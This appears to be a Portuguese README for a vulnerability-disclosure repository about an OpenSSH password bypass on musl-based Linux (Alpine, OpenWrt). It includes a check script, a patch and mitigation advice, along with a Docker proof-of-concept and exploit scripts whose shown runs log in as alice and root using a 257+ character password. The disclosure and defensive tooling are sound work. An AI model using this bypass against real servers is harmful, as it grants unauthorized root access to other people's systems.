
openssh em musl aceitava qualquer senha de 257+ caracteres para contas sem senha. desde 2016. check.sh, poc, patch.
openssh em musl linux (alpine, openwrt, buildroot, yocto) permite que você faça login em qualquer conta que tenha * como senha usando qualquer senha com mais de 256 caracteres. isso significa root, usuários somente-chave, usuários ldap, o usuário alpine nas imagens cloud da alpine. desde 2016.
a história completa está em sshhole.com. este repositório tem o script para verificar sua própria máquina, uma configuração docker para testar você mesmo e o patch.
corrigido no openssh 10.6p2 em 2026-11-05. os pacotes da alpine já estão disponíveis.
curl -sO https://raw.githubusercontent.com/oz9un/sshole/main/check.sh
sudo sh check.sh
libc musl
sshd OpenSSH_10.3p1, OpenSSL 3.5.9 29 Sep 2026
pam off (not built in)
PasswordAuthentication yes
accounts with '*' root alice deploy
sha-crypt hash present yes (bob)
EXPOSED. anyone can log in as: root alice deploy
fix: apk upgrade openssh (10.6p2), or set PasswordAuthentication no until you can.
você só está exposto se todas estas condições forem verdadeiras. o script informa qual delas está faltando, caso você não esteja:
openssh-server do alpine é. openssh-server-pam com UsePAM yes é seguroPasswordAuthentication yes no sshd_config (este é o padrão)* como campo de senha$5$ ou $6$ (alguém, qualquer um, executou passwd)glibc, pam, PasswordAuthentication no, openbsd, freebsd, macos: não afetados. você pode parar de ler.
você precisa do docker. isto compila um alpine 3.24 normal com openssh-server e a configuração padrão. alice tem *, bob tem uma senha real.
cd poc
docker build -t sshhole .
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole
./attack.sh 127.0.0.1 2222 alice
Permission denied, please try again.
uid=1000(alice) gid=1000(alice) groups=1000(alice)
RESULT: logged in as alice
dois prompts. o primeiro qualquer coisa, o segundo 300 x A. esse é o exploit.
root também funciona se PermitRootLogin yes estiver definido:
docker rm -f sshhole
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole /usr/sbin/sshd -D -e -o PermitRootLogin=yes
./attack.sh 127.0.0.1 2222 root
attack.py faz o mesmo com paramiko e permite escolher o comprimento da senha, para que você possa ver 256 falhar e 257 funcionar:
pip install paramiko
python3 attack.py 127.0.0.1 2222 alice 256 # rejected
python3 attack.py 127.0.0.1 2222 alice 257 # logged in
para versões mais antigas do alpine: docker build --build-arg BASE=alpine:3.21 -t sshhole . funciona pelo menos até a 3.18. a mais antiga que testamos foi o openssh 7.5p1 no musl 1.1.16 de 2017, e também funcionou lá.
patch/4353fdc43-avoid-password-authn-bypass.patch é a correção upstream, inalterada, caso você precise aplicá-la a uma versão mais antiga. funciona em qualquer coisa a partir da 7.3p1. ela faz o sshd pular a comparação quando o campo armazenado é curto demais para ser um hash real, e também deixa de usar um ponteiro para o buffer estático da libc.
se você não pode atualizar agora, defina PasswordAuthentication no no sshd_config. isso fecha a brecha completamente.
pw_password = "*" # alice has no password
salt = NULL # "*" is too short to be a salt
salt = pick_salt() # so sshd takes bob's: "$6$abc$"
hash = crypt("AAAA…x300", "$6$abc$") # musl: key is over 256 bytes -> returns "*"
strcmp(hash, pw_password) == 0 # "*" == "*"
return 1 # welcome, alice
o sshd compara com * dessa forma desde os anos 90. o musl começou a retornar * em caso de falha em 2012. o sshd começou a usar os salts de outras contas em 2016. veja a linha do tempo.
a configuração completa de testes (17 ambientes: imagem de cloud em qemu, openwrt, buildroot, usuários ldap e ad, e assim por diante), os números de prevalência e a tabela por distro estão no write-up. eles podem ser publicados mais tarde. este repositório é pequeno de propósito.
licença mit.